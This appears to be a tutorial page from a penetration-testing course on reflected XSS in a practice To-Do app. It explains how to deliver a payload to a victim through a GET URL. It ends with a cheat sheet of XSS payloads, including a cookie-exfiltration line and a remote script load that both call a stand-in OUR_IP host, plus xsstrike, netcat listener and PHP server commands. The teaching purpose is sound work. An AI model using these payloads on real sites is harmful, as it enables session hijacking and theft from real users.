Reflected XSS
Last updated
Last updated
There are two types of Non-Persistent XSS
vulnerabilities: Reflected XSS
, which gets processed by the back-end server, and DOM-based XSS
, which is completely processed on the client-side and never reaches the back-end server. Unlike Persistent XSS, Non-Persistent XSS
vulnerabilities are temporary and are not persistent through page refreshes. Hence, our attacks only affect the targeted user and will not affect other users who visit the page.
Reflected XSS
vulnerabilities occur when our input reaches the back-end server and gets returned to us without being filtered or sanitized. There are many cases in which our entire input might get returned to us, like error messages or confirmation messages. In these cases, we may attempt using XSS payloads to see whether they execute. However, as these are usually temporary messages, once we move from the page, they would not execute again, and hence they are Non-Persistent
.
We can start the server below to practice on a web page vulnerable to a Reflected XSS vulnerability. It is a similar To-Do List
app to the one we practiced with in the previous section. We can try adding any test
string to see how it's handled:
As we can see, we get Task 'test' could not be added.
, which includes our input test
as part of the error message. If our input was not filtered or sanitized, the page might be vulnerable to XSS. We can try the same XSS payload we used in the previous section and click Add
the below payload is <script>alert(window.origin)</script>
:
Once we click Add
, we get the alert pop-up:
In this case, we see that the error message now says Task '' could not be added.
. Since our payload is wrapped with a <script>
tag, it does not get rendered by the browser, so we get empty single quotes ''
instead. We can once again view the page source to confirm that the error message includes our XSS payload:
As we can see, the single quotes indeed contain our XSS payload '<script>alert(window.origin)</script>'
.
If we visit the Reflected
page again, the error message no longer appears, and our XSS payload is not executed, which means that this XSS vulnerability is indeed Non-Persistent
.
But if the XSS vulnerability is Non-Persistent, how would we target victims with it?
This depends on which HTTP request is used to send our input to the server. We can check this through the Firefox Developer Tools
by clicking [CTRL+I
] and selecting the Network
tab. Then, we can put our test
payload again and click Add
to send it:
As we can see, the first row shows that our request was a GET
request. GET
request sends their parameters and data as part of the URL. So, to target a user, we can send them a URL containing our payload
. To get the URL, we can copy the URL from the URL bar in Firefox after sending our XSS payload, or we can right-click on the GET
request in the Network
tab and select Copy>Copy URL
. Once the victim visits this URL, the XSS payload would execute:
XSS Payloads
<script>alert(window.origin)</script>
Basic XSS Payload
<plaintext>
Basic XSS Payload
<script>print()</script>
Basic XSS Payload
<img src="" onerror=alert(window.origin)>
HTML-based XSS Payload
<script>document.body.style.background = "#141d2b"</script>
Change Background Color
<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"</script>
Change Background Image
<script>document.title = 'HackTheBox Academy'</script>
Change Website Title
<script>document.getElementsByTagName('body')[0].innerHTML = 'text'</script>
Overwrite website's main body
<script>document.getElementById('urlform').remove();</script>
Remove certain HTML element
<script src="http://OUR_IP/script.js"></script>
Load remote script
<script>alert(document.cookie)</script>
Show us the cookie of the page
<script>new Image().src='http://OUR_IP/index.php?c='+document.cookie</script>
Send Cookie details to us
python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test"
Run xsstrike
on a url parameter
sudo nc -lvnp 80
Start netcat
listener
sudo php -S 0.0.0.0:80
Start PHP
server